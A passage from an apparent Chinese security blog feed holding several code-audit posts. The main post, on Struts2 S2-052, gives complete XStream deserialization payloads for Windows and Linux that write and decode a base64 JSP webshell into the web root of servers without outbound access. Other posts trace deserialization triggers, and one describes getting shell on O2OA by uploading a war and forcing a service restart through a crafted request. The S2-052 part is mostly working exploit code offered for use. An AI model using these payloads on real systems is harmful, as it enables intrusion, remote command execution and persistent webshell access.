alt="image"></p><p> </p>]]></content>
    
    
    <categories>
      
      <category>代码审计</category>
      
    </categories>
    
    
    <tags>
      
      <tag>代码审计</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>s2-052</title>
    <link href="/2022/02/08/75/"/>
    <url>/2022/02/08/75/</url>
    
    <content type="html"><![CDATA[<p>网上的都是那种弹计算器或者反弹shell的例子，实际环境中很多不出网的机器，所小小研究了一下</p><p>首先要知道<code>&lt;command&gt;</code>里的每个<code>&lt;string&gt;</code>标签都表示一个参数字符，比如打开calc：</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">&lt;<span class="hljs-built_in">command</span>&gt;<br>&lt;string&gt;calc&lt;/string&gt;<br>&lt;/<span class="hljs-built_in">command</span>&gt;<br></code></pre></div></td></tr></table></figure><p>加上cmd /c来转成shell命令：</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash"> &lt;<span class="hljs-built_in">command</span>&gt;<br> &lt;string&gt;cmd&lt;/string&gt;<br>&lt;string&gt;/c&lt;/string&gt;<br>&lt;string&gt;calc&lt;/string&gt;<br> &lt;/<span class="hljs-built_in">command</span>&gt;<br></code></pre></div></td></tr></table></figure><p>利用echo来写入一个webshell</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">&lt;<span class="hljs-built_in">command</span>&gt;<br>&lt;string&gt;cmd&lt;/string&gt;<br>&lt;string&gt;/c&lt;/string&gt;<br>&lt;string&gt;<span class="hljs-built_in">echo</span> 123 &gt;../webapps/ROOT/12.jsp&lt;/string&gt;<br>&lt;/<span class="hljs-built_in">command</span>&gt;<br></code></pre></div></td></tr></table></figure><p>webshell内容里会出现各种标签、换行和特殊符号等，所以要利用base64来发两次请求生成webshell<br>把内容转成base64输出到txt</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">&lt;<span class="hljs-built_in">command</span>&gt;<br>&lt;string&gt;cmd&lt;/string&gt;<br>&lt;string&gt;/c&lt;/string&gt;<br>&lt;string&gt;<span class="hljs-built_in">echo</span> PCU9bmV3IGphdmEudXRpbC5EYXRlKCklPg== &gt;../webapps/ROOT/12.txt&lt;/string&gt;<br> &lt;/<span class="hljs-built_in">command</span>&gt;<br></code></pre></div></td></tr></table></figure><p>发送第一次请求落地文件<br><img src="/images/75/1.png"><br>第二次请求利用系统自带的base64解码来解码文件内容并转成webshell文件格式<br><img src="/images/75/2.png"><br>然后就可以访问webshell了<br><img src="/images/75/3.png"></p><h2 id="windows环境"><a href="#windows环境" class="headerlink" title="windows环境"></a>windows环境</h2><p>第一次请求：</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">&lt;map&gt;<br>  &lt;entry&gt;<br>    &lt;jdk.nashorn.internal.objects.NativeString&gt;<br>      &lt;flags&gt;0&lt;/flags&gt;<br>      &lt;value class=<span class="hljs-string">&quot;com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data&quot;</span>&gt;<br>        &lt;dataHandler&gt;<br>          &lt;dataSource class=<span class="hljs-string">&quot;com.sun.xml.internal.ws.encoding.xml.XMLMessage<span class="hljs-variable">$XmlDataSource</span>&quot;</span>&gt;<br>            &lt;is class=<span class="hljs-string">&quot;javax.crypto.CipherInputStream&quot;</span>&gt;<br>              &lt;cipher class=<span class="hljs-string">&quot;javax.crypto.NullCipher&quot;</span>&gt;<br>                &lt;initialized&gt;<span class="hljs-literal">false</span>&lt;/initialized&gt;<br>                &lt;opmode&gt;0&lt;/opmode&gt;<br>                &lt;serviceIterator class=<span class="hljs-string">&quot;javax.imageio.spi.FilterIterator&quot;</span>&gt;<br>                  &lt;iter class=<span class="hljs-string">&quot;javax.imageio.spi.FilterIterator&quot;</span>&gt;<br>                    &lt;iter class=<span class="hljs-string">&quot;java.util.Collections<span class="hljs-variable">$EmptyIterator</span>&quot;</span>/&gt;<br>                    &lt;next class=<span class="hljs-string">&quot;java.lang.ProcessBuilder&quot;</span>&gt;<br>                      &lt;<span class="hljs-built_in">command</span>&gt;<br>                     &lt;string&gt;cmd&lt;/string&gt;<br>&lt;string&gt;/c&lt;/string&gt;<br>&lt;string&gt;<span class="hljs-built_in">echo</span> PCU9bmV3IGphdmEudXRpbC5EYXRlKCklPg== &gt;../webapps/ROOT/12.txt&lt;/string&gt;<br>                      &lt;/<span class="hljs-built_in">command</span>&gt;<br>                      &lt;redirectErrorStream&gt;<span class="hljs-literal">false</span>&lt;/redirectErrorStream&gt;<br>                    &lt;/next&gt;<br>                  &lt;/iter&gt;<br>                  &lt;filter class=<span class="hljs-string">&quot;javax.imageio.ImageIO<span class="hljs-variable">$ContainsFilter</span>&quot;</span>&gt;<br>                    &lt;method&gt;<br>                      &lt;class&gt;java.lang.ProcessBuilder&lt;/class&gt;<br>                      &lt;name&gt;start&lt;/name&gt;<br>                      &lt;parameter-types/&gt;<br>                    &lt;/method&gt;<br>                    &lt;name&gt;foo&lt;/name&gt;<br>                  &lt;/filter&gt;<br>                  &lt;next class=<span class="hljs-string">&quot;string&quot;</span>&gt;foo&lt;/next&gt;<br>                &lt;/serviceIterator&gt;<br>                &lt;lock/&gt;<br>              &lt;/cipher&gt;<br>              &lt;input class=<span class="hljs-string">&quot;java.lang.ProcessBuilder<span class="hljs-variable">$NullInputStream</span>&quot;</span>/&gt;<br>              &lt;ibuffer&gt;&lt;/ibuffer&gt;<br>              &lt;<span class="hljs-keyword">done</span>&gt;<span class="hljs-literal">false</span>&lt;/<span class="hljs-keyword">done</span>&gt;<br>              &lt;ostart&gt;0&lt;/ostart&gt;<br>              &lt;ofinish&gt;0&lt;/ofinish&gt;<br>              &lt;closed&gt;<span class="hljs-literal">false</span>&lt;/closed&gt;<br>            &lt;/is&gt;<br>            &lt;consumed&gt;<span class="hljs-literal">false</span>&lt;/consumed&gt;<br>          &lt;/dataSource&gt;<br>          &lt;transferFlavors/&gt;<br>        &lt;/dataHandler&gt;<br>        &lt;dataLen&gt;0&lt;/dataLen&gt;<br>      &lt;/value&gt;<br>    &lt;/jdk.nashorn.internal.objects.NativeString&gt;<br>    &lt;jdk.nashorn.internal.objects.NativeString reference=<span class="hljs-string">&quot;../jdk.nashorn.internal.objects.NativeString&quot;</span>/&gt;<br>  &lt;/entry&gt;<br>  &lt;entry&gt;<br>    &lt;jdk.nashorn.internal.objects.NativeString reference=<span class="hljs-string">&quot;../../entry/jdk.nashorn.internal.objects.NativeString&quot;</span>/&gt;<br>    &lt;jdk.nashorn.internal.objects.NativeString reference=<span class="hljs-string">&quot;../../entry/jdk.nashorn.internal.objects.NativeString&quot;</span>/&gt;<br>  &lt;/entry&gt;<br>&lt;/map&gt;<br></code></pre></div></td></tr></table></figure><p>第二次请求</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">&lt;map&gt;<br>  &lt;entry&gt;<br>    &lt;jdk.nashorn.internal.objects.NativeString&gt;<br>      &lt;flags&gt;0&lt;/flags&gt;<br>      &lt;value class=<span class="hljs-string">&quot;com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data&quot;</span>&gt;<br>        &lt;dataHandler&gt;<br>          &lt;dataSource class=<span class="hljs-string">&quot;com.sun.xml.internal.ws.encoding.xml.XMLMessage<span class="hljs-variable">$XmlDataSource</span>&quot;</span>&gt;<br>            &lt;is class=<span class="hljs-string">&quot;javax.crypto.CipherInputStream&quot;</span>&gt;<br>              &lt;cipher class=<span class="hljs-string">&quot;javax.crypto.NullCipher&quot;</span>&gt;<br>                &lt;initialized&gt;<span class="hljs-literal">false</span>&lt;/initialized&gt;<br>                &lt;opmode&gt;0&lt;/opmode&gt;<br>                &lt;serviceIterator class=<span class="hljs-string">&quot;javax.imageio.spi.FilterIterator&quot;</span>&gt;<br>                  &lt;iter class=<span class="hljs-string">&quot;javax.imageio.spi.FilterIterator&quot;</span>&gt;<br>                    &lt;iter class=<span class="hljs-string">&quot;java.util.Collections<span class="hljs-variable">$EmptyIterator</span>&quot;</span>/&gt;<br>                    &lt;next class=<span class="hljs-string">&quot;java.lang.ProcessBuilder&quot;</span>&gt;<br>                      &lt;<span class="hljs-built_in">command</span>&gt;<br>                     &lt;string&gt;cmd&lt;/string&gt;<br>&lt;string&gt;/c&lt;/string&gt;<br>&lt;string&gt;certutil -decode ../webapps/ROOT/12.txt ../webapps/ROOT/12.jsp&lt;/string&gt;<br>                      &lt;/<span class="hljs-built_in">command</span>&gt;<br>                      &lt;redirectErrorStream&gt;<span class="hljs-literal">false</span>&lt;/redirectErrorStream&gt;<br>                    &lt;/next&gt;<br>                  &lt;/iter&gt;<br>                  &lt;filter class=<span class="hljs-string">&quot;javax.imageio.ImageIO<span class="hljs-variable">$ContainsFilter</span>&quot;</span>&gt;<br>                    &lt;method&gt;<br>                      &lt;class&gt;java.lang.ProcessBuilder&lt;/class&gt;<br>                      &lt;name&gt;start&lt;/name&gt;<br>                      &lt;parameter-types/&gt;<br>                    &lt;/method&gt;<br>                    &lt;name&gt;foo&lt;/name&gt;<br>                  &lt;/filter&gt;<br>                  &lt;next class=<span class="hljs-string">&quot;string&quot;</span>&gt;foo&lt;/next&gt;<br>                &lt;/serviceIterator&gt;<br>                &lt;lock/&gt;<br>              &lt;/cipher&gt;<br>              &lt;input class=<span class="hljs-string">&quot;java.lang.ProcessBuilder<span class="hljs-variable">$NullInputStream</span>&quot;</span>/&gt;<br>              &lt;ibuffer&gt;&lt;/ibuffer&gt;<br>              &lt;<span class="hljs-keyword">done</span>&gt;<span class="hljs-literal">false</span>&lt;/<span class="hljs-keyword">done</span>&gt;<br>              &lt;ostart&gt;0&lt;/ostart&gt;<br>              &lt;ofinish&gt;0&lt;/ofinish&gt;<br>              &lt;closed&gt;<span class="hljs-literal">false</span>&lt;/closed&gt;<br>            &lt;/is&gt;<br>            &lt;consumed&gt;<span class="hljs-literal">false</span>&lt;/consumed&gt;<br>          &lt;/dataSource&gt;<br>          &lt;transferFlavors/&gt;<br>        &lt;/dataHandler&gt;<br>        &lt;dataLen&gt;0&lt;/dataLen&gt;<br>      &lt;/value&gt;<br>    &lt;/jdk.nashorn.internal.objects.NativeString&gt;<br>    &lt;jdk.nashorn.internal.objects.NativeString reference=<span class="hljs-string">&quot;../jdk.nashorn.internal.objects.NativeString&quot;</span>/&gt;<br>  &lt;/entry&gt;<br>  &lt;entry&gt;<br>    &lt;jdk.nashorn.internal.objects.NativeString reference=<span class="hljs-string">&quot;../../entry/jdk.nashorn.internal.objects.NativeString&quot;</span>/&gt;<br>    &lt;jdk.nashorn.internal.objects.NativeString reference=<span class="hljs-string">&quot;../../entry/jdk.nashorn.internal.objects.NativeString&quot;</span>/&gt;<br>  &lt;/entry&gt;<br>&lt;/map&gt;<br></code></pre></div></td></tr></table></figure><p>不要问为什么不能在第一次请求中加个管道符一次性执行，我试了几次没成功，有空的再自己试试吧</p><h2 id="linux环境："><a href="#linux环境：" class="headerlink" title="linux环境："></a>linux环境：</h2><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">&lt;map&gt;<br>  &lt;entry&gt;<br>    &lt;jdk.nashorn.internal.objects.NativeString&gt;<br>      &lt;flags&gt;0&lt;/flags&gt;<br>      &lt;value class=<span class="hljs-string">&quot;com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data&quot;</span>&gt;<br>        &lt;dataHandler&gt;<br>          &lt;dataSource class=<span class="hljs-string">&quot;com.sun.xml.internal.ws.encoding.xml.XMLMessage<span class="hljs-variable">$XmlDataSource</span>&quot;</span>&gt;<br>            &lt;is class=<span class="hljs-string">&quot;javax.crypto.CipherInputStream&quot;</span>&gt;<br>              &lt;cipher class=<span class="hljs-string">&quot;javax.crypto.NullCipher&quot;</span>&gt;<br>                &lt;initialized&gt;<span class="hljs-literal">false</span>&lt;/initialized&gt;<br>                &lt;opmode&gt;0&lt;/opmode&gt;<br>                &lt;serviceIterator class=<span class="hljs-string">&quot;javax.imageio.spi.FilterIterator&quot;</span>&gt;<br>                  &lt;iter class=<span class="hljs-string">&quot;javax.imageio.spi.FilterIterator&quot;</span>&gt;<br>                    &lt;iter class=<span class="hljs-string">&quot;java.util.Collections<span class="hljs-variable">$EmptyIterator</span>&quot;</span>/&gt;<br>                    &lt;next class=<span class="hljs-string">&quot;java.lang.ProcessBuilder&quot;</span>&gt;<br>                      &lt;<span class="hljs-built_in">command</span>&gt;<br>                     &lt;string&gt;bash&lt;/string&gt;<br>&lt;string&gt;-c&lt;/string&gt;<br>&lt;string&gt;<span class="hljs-built_in">echo</span> PCU9bmV3IGphdmEudXRpbC5EYXRlKCklPg== | base64 -d &gt; ../webapps/ROOT/12.jsp&lt;/string&gt;<br>                      &lt;/<span class="hljs-built_in">command</span>&gt;<br>                      &lt;redirectErrorStream&gt;<span class="hljs-literal">false</span>&lt;/redirectErrorStream&gt;<br>                    &lt;/next&gt;<br>                  &lt;/iter&gt;<br>                  &lt;filter class=<span class="hljs-string">&quot;javax.imageio.ImageIO<span class="hljs-variable">$ContainsFilter</span>&quot;</span>&gt;<br>                    &lt;method&gt;<br>                      &lt;class&gt;java.lang.ProcessBuilder&lt;/class&gt;<br>                      &lt;name&gt;start&lt;/name&gt;<br>                      &lt;parameter-types/&gt;<br>                    &lt;/method&gt;<br>                    &lt;name&gt;foo&lt;/name&gt;<br>                  &lt;/filter&gt;<br>                  &lt;next class=<span class="hljs-string">&quot;string&quot;</span>&gt;foo&lt;/next&gt;<br>                &lt;/serviceIterator&gt;<br>                &lt;lock/&gt;<br>              &lt;/cipher&gt;<br>              &lt;input class=<span class="hljs-string">&quot;java.lang.ProcessBuilder<span class="hljs-variable">$NullInputStream</span>&quot;</span>/&gt;<br>              &lt;ibuffer&gt;&lt;/ibuffer&gt;<br>              &lt;<span class="hljs-keyword">done</span>&gt;<span class="hljs-literal">false</span>&lt;/<span class="hljs-keyword">done</span>&gt;<br>              &lt;ostart&gt;0&lt;/ostart&gt;<br>              &lt;ofinish&gt;0&lt;/ofinish&gt;<br>              &lt;closed&gt;<span class="hljs-literal">false</span>&lt;/closed&gt;<br>            &lt;/is&gt;<br>            &lt;consumed&gt;<span class="hljs-literal">false</span>&lt;/consumed&gt;<br>          &lt;/dataSource&gt;<br>          &lt;transferFlavors/&gt;<br>        &lt;/dataHandler&gt;<br>        &lt;dataLen&gt;0&lt;/dataLen&gt;<br>      &lt;/value&gt;<br>    &lt;/jdk.nashorn.internal.objects.NativeString&gt;<br>    &lt;jdk.nashorn.internal.objects.NativeString reference=<span class="hljs-string">&quot;../jdk.nashorn.internal.objects.NativeString&quot;</span>/&gt;<br>  &lt;/entry&gt;<br>  &lt;entry&gt;<br>    &lt;jdk.nashorn.internal.objects.NativeString reference=<span class="hljs-string">&quot;../../entry/jdk.nashorn.internal.objects.NativeString&quot;</span>/&gt;<br>    &lt;jdk.nashorn.internal.objects.NativeString reference=<span class="hljs-string">&quot;../../entry/jdk.nashorn.internal.objects.NativeString&quot;</span>/&gt;<br>  &lt;/entry&gt;<br>&lt;/map&gt;<br></code></pre></div></td></tr></table></figure><p><img src="/images/75/4.png"></p>]]></content>
    
    
    <categories>
      
      <category>代码审计</category>
      
    </categories>
    
    
    <tags>
      
      <tag>代码审计</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>细分一个漏洞</title>
    <link href="/2022/01/10/74/"/>
    <url>/2022/01/10/74/</url>
    
    <content type="html"><![CDATA[<p>在进入LoggingReceiver的时候就已经开始线程了<br><img src="/images/74/1.png"><br>所以看<code>class LoggingReceiver extends Thread</code>里的run方法<br>线程启动后会监听4445端口，如果有连接，则从ServerSocket的accept方法中取出这条连接，没有连接则持续监听<br><img src="/images/74/2.png"><br>随后新线程走进Slurper对象，在该对象的run方法中，获取从accept取出的连接的输入流将输入流封装为ObjectInputStream对象，并调用了ObjectInputStream的readObject方法，通过反序列化恶意数据来触发漏洞<br><img src="/images/74/3.png"></p>]]></content>
    
    
    <categories>
      
      <category>代码审计</category>
      
    </categories>
    
    
    <tags>
      
      <tag>代码审计</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>纠正一个漏洞</title>
    <link href="/2022/01/10/73/"/>
    <url>/2022/01/10/73/</url>
    
    <content type="html"><![CDATA[<p>在整理东西时突然发现一个以前的一个漏洞触发点我给分析错了，纠正一下<br>本来是这么想的<br>当上传完激活文件后就会进入到这里进行反序列化<br><img src="/images/73/1.png"></p><p>但后来发现并不是<br><img src="/images/73/2.png"></p><p>从文件上传的操作来看保存的文件名是随机的，并不是license.dat<br><img src="/images/73/3.png"><br>但是上传后的确又可以马上触发</p><p>于是继续看license.jsp后面，发现当文件上传完后，会做一次判断，如果文件不是符合要求（即文件格式不对的话）的话就会从默认的license里取出默认信息<br><img src="/images/73/4.png"><br>如果符合要求则从上传的文件里获取信息<br><img src="/images/73/5.png"><br>第一次漏洞也就是从这里触发，即上传文件就触发<br><img src="/images/73/6.png"><br>这个<code>licenseFilePath</code>就是从前端传过来的被上传的文件路径<br><img src="/images/73/7.png"><br><img src="/images/73/8.png"></p><p>事情还没结束</p><p>当op参数是change时，就会将上传的文件复制覆盖原来的license.dat<br><img src="/images/73/9.png"><br>然后走到<code>License</code>对象的<code>verify</code>方法对license.dat进行反序列化<br><img src="/images/73/10.png"></p><p>如果文件被替换，所以最后出现的<code>License.getInstance().init()</code>也会在每次访问页面时被触发<br><img src="/images/73/11.png"></p><p>以后得仔细看了</p>]]></content>
    
    
    <categories>
      
      <category>代码审计</category>
      
    </categories>
    
    
    <tags>
      
      <tag>代码审计</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>O2OAgetshell前传</title>
    <link href="/2021/12/22/70/"/>
    <url>/2021/12/22/70/</url>
    
    <content type="html"><![CDATA[<h1 id="上传"><a href="#上传" class="headerlink" title="上传"></a>上传</h1><p>在&lt;=6.4.4（20211121）版本后台中允许用户上传部署自定义jar/war服务，如果用户选customwar选项上传，<code>ActionUploadFile</code>类就会将文件以socket形式发送到服务端</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">src/main/java/com/x/program/center/jaxrs/<span class="hljs-built_in">command</span>/CommandAction.java<br></code></pre></div></td></tr></table></figure><p><img src="/images/70/1.png"><br> <code>execute-&gt;executeCommand</code><br><img src="/images/70/2.png"><br>随后服务端接收文件</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">src/main/java/com/x/server/console/NodeAgent.java<br></code></pre></div></td></tr></table></figure><p>在<code>run</code>方法中通过判断模式来执行相应模块，此处为部署服务<br><img src="/images/70/3.png"><br>跟进<code>redeploy</code>方法<br>前面说到了<code>strCommand</code>的值是<code>customWar</code>，所以直接看<code>case “customWar“</code><br><img src="/images/70/4.png"><br>转到<code>customWar</code>方法就可以看到文件已经被上传到指定位置<br><img src="/images/70/5.png"><br><img src="/images/70/6.png"></p><h1 id="查找执行命令的接口"><a href="#查找执行命令的接口" class="headerlink" title="查找执行命令的接口"></a>查找执行命令的接口</h1><p>但是上传后还要重启才可以部署完war<br><img src="/images/70/7.png"><br>那总不能干等目标重启吧，在上传的类中还有一个<code>executeCommand</code>方法</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">src/main/java/com/x/program/center/jaxrs/<span class="hljs-built_in">command</span>/CommandAction.java<br></code></pre></div></td></tr></table></figure><p><img src="/images/70/8.png"><br>跟进<code>execute</code><br>先看他的参数是什么<br><img src="/images/70/9.png"><br><img src="/images/70/10.png"><br>根据代码构造参数</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">&#123;<span class="hljs-string">&quot;ctl&quot;</span>:<span class="hljs-string">&quot;&quot;</span>,<span class="hljs-string">&quot;nodeName&quot;</span>:<span class="hljs-string">&quot;*&quot;</span>,<span class="hljs-string">&quot;nodePort&quot;</span>:<span class="hljs-string">&quot;*&quot;</span>&#125;<br></code></pre></div></td></tr></table></figure><p>回到<code>execute</code>方法<br>跟上传一样通过socket发送数据到服务端<br><img src="/images/70/11.png"><br>服务端接收数据根据模式进入相应的实现<br><img src="/images/70/12.png"><br>此处的<code>strCommand</code>就是前面<code>ActionCommand.executeCommand</code>存的值（前面文件上传思路一样）<br><img src="/images/70/13.png"><br>服务端接收数据后根据正则匹配到的值跳到相应实现<br><img src="/images/70/14.png"><br>回到服务端<code>execute_command_pattern</code>模式，命令存放到<code>commandQueue</code>，<code>commandQueue</code>为<code>LinkedBlockingQueue</code>类定义的接口（文末介绍LinkedBlockingQueue类），在该类中有一个<code>take</code>方法取出存放的元素<br><img src="/images/70/15.png"><br>所以下一步就找到调用这个方法的类<br>在</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">src/main/java/com/x/server/console/Main.java<br></code></pre></div></td></tr></table></figure><p>中调用<code>commandQueue.take</code>取出元素来判断进入相应的实现<br><img src="/images/70/16.png"><br>往下看可以看到，当取出的元素包含有<code>restart_pattern</code>的值时就会进入<code>restart</code>方法<br><img src="/images/70/17.png"><br>查看<code>restart_pattern</code>的值<br><img src="/images/70/18.png"><br>从正则可知值为<code>restart</code>，所以参数如下</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">&#123;<span class="hljs-string">&quot;ctl&quot;</span>:<span class="hljs-string">&quot;restart&quot;</span>,<span class="hljs-string">&quot;nodeName&quot;</span>:<span class="hljs-string">&quot;*&quot;</span>,<span class="hljs-string">&quot;nodePort&quot;</span>:<span class="hljs-string">&quot;*&quot;</span>&#125;<br></code></pre></div></td></tr></table></figure><p><code>restart</code>方法就是停止所有服务然后调用相应脚本再在新线程里重新启动服务<br><img src="/images/70/19.png"></p><p>至此就可以通过参数来通过请求重启服务而不用等目标管理员重启了<br>根据路由构造请求</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">POST xxx/xxx/<span class="hljs-built_in">command</span>/execute<br></code></pre></div></td></tr></table></figure><p>根据前面构造的参数拼接</p><figure class="highlight bash"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs bash">POST xxx/xxx/<span class="hljs-built_in">command</span>/execute<br><br><br><br>&#123;<span class="hljs-string">&quot;ctl&quot;</span>:<span class="hljs-string">&quot;restart&quot;</span>,<span class="hljs-string">&quot;nodeName&quot;</span>:<span class="hljs-string">&quot;*&quot;</span>,<span class="hljs-string">&quot;nodePort&quot;</span>:<span class="hljs-string">&quot;*&quot;</span>&#125;<br></code></pre></div></td></tr></table></figure><p>这样就可以重启所有服务了<br><img src="/images/70/20.png"><br>重启一般是20秒左右</p><p>完整的验证详见<br><a href="https://novysodope.github.io/2021/11/30/67/">https://novysodope.github.io/2021/11/30/67/</a></p><p>改进<br>根据注释介绍<code>*</code>是所有节点，实际我们可以根据页面显示的选项来填对应主机部署重启，<br>也可以看<code>CommandAction</code>类，在该类中还有一个<code>nodeInfoList</code>方法是获取所有服务器信息的<br><img src="/images/70/21.png"><br>直接请求看一下就可以得到信息定点打击了<br><img src="/images/70/22.png"></p><h1 id="LinkedBlockingQueue类"><a href="#LinkedBlockingQueue类" class="headerlink" title="LinkedBlockingQueue类"></a>LinkedBlockingQueue类</h1><p>这个<code>LinkedBlockingQueue</code>跟<code>ArrayBlockingQueue类</code>差不多，而<code>ArrayList</code>跟<code>ArrayBlockingQueue</code>一样，所以可以理解为<code>LinkedBlockingQueue</code>也是用来存放东西的，即命令存到了<code>LinkedBlockingQueue</code>里，有关<code>LinkedBlockingQueue</code> 类的介绍可以看<br><a href="https://blog.csdn.net/tonywu1992/article/details/83419448">https://blog.csdn.net/tonywu1992/article/details/83419448</a></p>]]></content>
    
    
    <categories>
      
      <category>代码审计</category>
      
    </categories>
    
    
    <tags>
      
      <tag>代码审计</tag>
      
    </tags>
    
  </entry>
  
  
  
  <entry>
    <title>dtdparser1.21 SSRF</title>
    <link href="/2021/12/22/69/"/>
    <url>/2021/12/22/69/</url>
    
